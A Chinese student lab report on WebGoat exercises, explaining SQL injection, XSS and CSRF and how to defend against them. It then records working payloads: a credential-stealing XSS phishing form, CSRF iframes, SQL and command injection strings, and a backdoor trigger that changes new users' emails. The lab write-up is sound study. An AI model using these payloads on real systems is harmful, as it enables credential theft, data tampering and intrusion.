20155204《網絡對抗》Exp9 Web安全基礎實踐

20155204《網絡對抗》Exp9 Web安全基礎實踐

1、基礎問題回答

SQL注入攻擊原理,如何防護?

原理:

  • SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。

防護:

  • 1.普通用戶與系統管理員用戶的權限要有嚴格的區分。若是一個普通用戶在使用查詢語句中嵌入另外一個Drop Table語句,那麼是否容許執行呢?因爲Drop語句關係到數據庫的基本對象,故要操做這個語句用戶必須有相關的權限。在權限設計中,對於終端用戶,即應用軟件的使用者,沒有必要給他們數據庫對象的創建、刪除等權限。那麼即便在他們使用SQL語句中帶有嵌入式的惡意代碼,因爲其用戶權限的限制,這些代碼也將沒法被執行。故應用程序在設計的時候,最好把系統管理員的用戶與普通用戶區分開來。如此能夠最大限度的減小注入式攻擊對數據庫帶來的危害。
  • 2.強迫使用參數化語句。若是在編寫SQL語句的時候,用戶輸入的變量不是直接嵌入到SQL語句。而是經過參數來傳遞這個變量的話,那麼就能夠有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不可以直接被嵌入到SQL語句中。與此相反,用戶的輸入的內容必須進行過濾,或者使用參數化的語句來傳遞用戶輸入的變量。參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。採用這種措施,能夠杜絕大部分的SQL注入式攻擊。不過惋惜的是,如今支持參數化語句的數據庫引擎並很少。不過數據庫工程師在開發產品的時候要儘可能採用參數化語句。
  • 3.增強對用戶輸入的驗證。、在SQLServer數據庫中,有比較多的用戶輸入內容驗證工具,能夠幫助管理員來對付SQL注入式攻擊。測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和註釋字符的輸入內容。這有助於防止腳本注入,防止某些緩衝區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意形成的緩衝區溢出,對於防治注入式攻擊有比較明顯的效果。

2.XSS攻擊的原理,如何防護?

原理:

  • XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼(如,HTML代碼和客戶端腳本)植入到提供給其它用戶使用的頁面中,攻擊者能夠利用XSS漏洞旁路掉訪問控制。

防護

- 1.使用XSSFilter。輸入過濾,對用戶提交的數據進行有效性驗證,僅接受指定長度範圍內並符合咱們指望格式的的內容提交,阻止或者忽略除此外的其餘任何數據。好比:電話號碼必須是數字和中劃線組成,並且要設定長度上限。過濾一些些常見的敏感字符,例如:```< > ‘ 「 & # \ javascript expression  "onclick="  "onfocus"```;過濾或移除特殊的Html標籤, 例如: ```<script>, <iframe> ,  &lt; for <, &gt; for >, &quot for```;過濾JavaScript 事件的標籤,例如``` "onclick=", "onfocus" ```等等。輸出編碼,當須要將一個字符串輸出到Web網頁時,同時又不肯定這個字符串中是否包括XSS特殊字符(如< > &‘」等),爲了確保輸出內容的完整性和正確性,可使用編碼(HTMLEncode)進行處理。
- 2.DOM型的XSS攻擊防護。把變量輸出到頁面時要作好相關的編碼轉義工做,如要輸出到 <script>中,能夠進行JS編碼;要輸出到HTML內容或屬性,則進行HTML編碼處理。根據不一樣的語境採用不一樣的編碼處理方式。
- 3.HttpOnly Cookie將重要的cookie標記爲http only,   這樣的話當瀏覽器向Web服務器發起請求的時就會帶上cookie字段,可是在腳本中卻不能訪問這個cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:

3.CSRF攻擊原理,如何防護?

原理:

- CSRF跨站請求僞造,也被稱爲「oneclickattack」或者sessionriding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。

防護:

- 經過 referer、token 或者 驗證碼來檢測用戶提交。
- 儘可能不要在頁面的連接中暴露用戶隱私信息。
- 對於用戶修改刪除等操做最好都使用post 操做 。
- 避免全站通用的cookie,嚴格設置cookie的域。

2、實踐總結與體會

這是最後一個實驗了,基於這個webgoat的實驗平臺作了不少實驗,按着步驟來,也不算難操做,難在理解每一句指令,每個攻擊方式,每個漏洞,這也是咱們作這麼多實驗的目的吧,直觀的先認識到,怎麼樣會成功,而後再推敲,是怎麼成功的。網絡對抗的實驗確實是最有趣的,也是我作過最能調動人學習興趣的實驗。javascript

3、實踐過程記錄

1.開啓webgoat

  • 經過java -jar webgoat-container-7.0.1-war-exec.jar打開webgoat。(這個實際安裝真的好費事。。最後仍是選擇了老師的kali)html

  • 在kali瀏覽器中輸入localhost:8080/WebGoat,用默認帳戶密碼登陸webgoat。
    java

2.XSS:Phishing with XSS 跨站腳本釣魚攻擊

若是一個未經驗證的用戶輸入一個 HTTP 響應時, XSS 頗有可能發生,利用它就能夠進行釣魚攻擊,在一個頁面內添加一個僞官方網頁就能夠騙取用戶的帳號和口令。注意這裏強調的是在 HTTP 響應時攻擊,而不是請求,要知道若是是請求的話,那麼就至關因而本身黑本身,多沒意思,可若是是響應的話就意味着,別人發送請求,而你響應他虛假的頁面,這樣就能夠用來對其進行欺騙。web

  • 先準備一個代碼
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 而後在webgoat找到xss攻擊打開Phishing with XSS,將這段代碼輸入到輸入框中,點擊search出現以下登陸框:
    sql

  • 在登陸框中輸入用戶名、密碼:數據庫

  • 點擊登陸後跳出彈框,其中包含用戶輸入的用戶名、密碼。攻擊成功!
    express

3.XSS:Stored XSS Attacks 存儲型XSS攻擊

  • 簡單來講明一下存儲型XSS的攻擊基本流程:好比在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。網站後臺程序將留言內容存儲在數據中。而後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使了:黑客留言的腳本自己應該做爲內容顯示在留言板的,而後此時可能黑客的留言腳本被瀏覽器解釋執行了。而後黑客就能夠:經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息;重定向網站到一個釣魚網站;從新更改頁面內容,僞裝讓客戶輸入用戶名,密碼,而後提交到黑客的服務器等等。瀏覽器

  • 打開Stored XSS Attacks
  • 在Message框中輸入
  • 點擊提交就能夠看到彈窗了。
    安全

4.XSS:Reflected XSS Attacks 反射型XSS攻擊

  • 反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。服務器

  • 在第二個code框中輸入<script>alert("20155204wh");</script>
  • 點擊purchase後攻擊成功。

5.Cross Site Request Forgery(CSRF)

  • CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
  • 注意留心頁面右邊Parameters中的src和menu值
  • 在title框中輸入學號,message框中輸入代碼:
  • 點提交按鈕,再點擊生成的鏈接,便可看到結果。

6.CSRF Prompt By-Pass

  • 跟上一個同樣的操做,留意頁面右邊Parameters中的src和menu值,並在title框中輸入學號,message框中輸入代碼:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉帳數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 仍是點擊學號連接,跳轉到攻擊成功的頁面。

7.SQL:Numeric SQL Injection

  • 這裏開始的都是SQL攻擊,所謂SQL注入式攻擊,就是輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或做爲存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。
  • 咱們在kali中打開BurpSuite這個軟件。
  • 選擇Proxy->Options->Add添加一個端口,修改端口號爲5204,並選中這個端口。
  • 而後配置Firefox,preference-->advanced-->network-->connection-->settings,設置代理服務器和端口,要與剛剛BurpSuite中綁定的一致。
  • 設置好代理後回到題目頁面,點擊Go,而後進入BurpSuite中依次選擇Proxy->Intercept,能夠看到已經抓到了包。

  • 而後右鍵這個包,把它send to repeater,再進入repeater頁標籤,選擇Params將其中station的值改成101 or 1=1,點擊Go運行,查看右側代碼能夠看到包中的SQL語句爲
SELECT * FROM weather_data WHERE station = 101 or 1=1
  • 回到Proxy中點擊Intercept is on 改成 off 中止抓包,回到火狐發現已經成功。

8.SQL:Command Injection

  • 仍是用BurpSuite抓包。
  • 在webgoat中點擊view,BurpSuite的proxy已經抓到了包,一樣send到repeater,在其中的Params選項中先運行一次,查看數據都提交的位置。

  • 而後修改HelpFile的值爲AccessControlMatrix.help"&&ifconfig",點擊GO發現執行了ifconfig語句。

  • 回到webgoat發現攻擊成功。

8.SQL:Log Spoofing

  • 在User Name文本框中輸入%0d%0aLogin succeeded !admin能夠欺騙登陸。

9.LAB:SQL Injection(Stage 1:String SQL Injection)

  • 使用Firefox瀏覽器上方的插件firebug,能夠修改當前頁面的源碼。
  • 利用firebug對長度maxlength值進行擴大(本來是8),而後使用用戶Neville進行登陸,在密碼欄中再次輸入' or 1=1 --,點擊登陸就OK。這裏firebug要一直開着,否則改過的網頁源碼就無效了。

9.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

  • 仍是用上一個的辦法登陸。
  • 仍是用firebug修改viewprofile部分的代碼,找到一行用員工id做爲索引來傳送數據的代碼,雙擊這行代碼就能夠出現value的值,由於咱們想要用員工的帳戶瀏覽老闆信息,而大多數企業公司里老板的工資應該是最高的,因此咱們就把其中的value值由101改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一個讓咱們看到。

10.String SQL Injection

  • 構造永真式'or 1='1,輸入第一個分號用來閉合原輸入語句的前一個分號,而第二個分號用來閉合原輸入語句的後一個分號,使這條語句被強行拆分紅爲兩條語句。而後咱們就能夠看到所有信息了。

11.Database Backdoors

  • 輸入語句101; update employee set salary=8888888成功將該用戶的工資變成8888888,攻擊成功:

  • 下一步,輸入語句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155204@hackme.com' WHERE userid = NEW.userid

使得表中一旦添加新用戶那麼就在用戶表裏將新用戶的郵箱改成我設置的郵箱。

12.Blind Numeric SQL Injection

  • 不得不認可,偷了個懶,直接參考同窗的博客獲得2364是可用的,輸入攻擊成功。
相關文章
相關標籤/搜索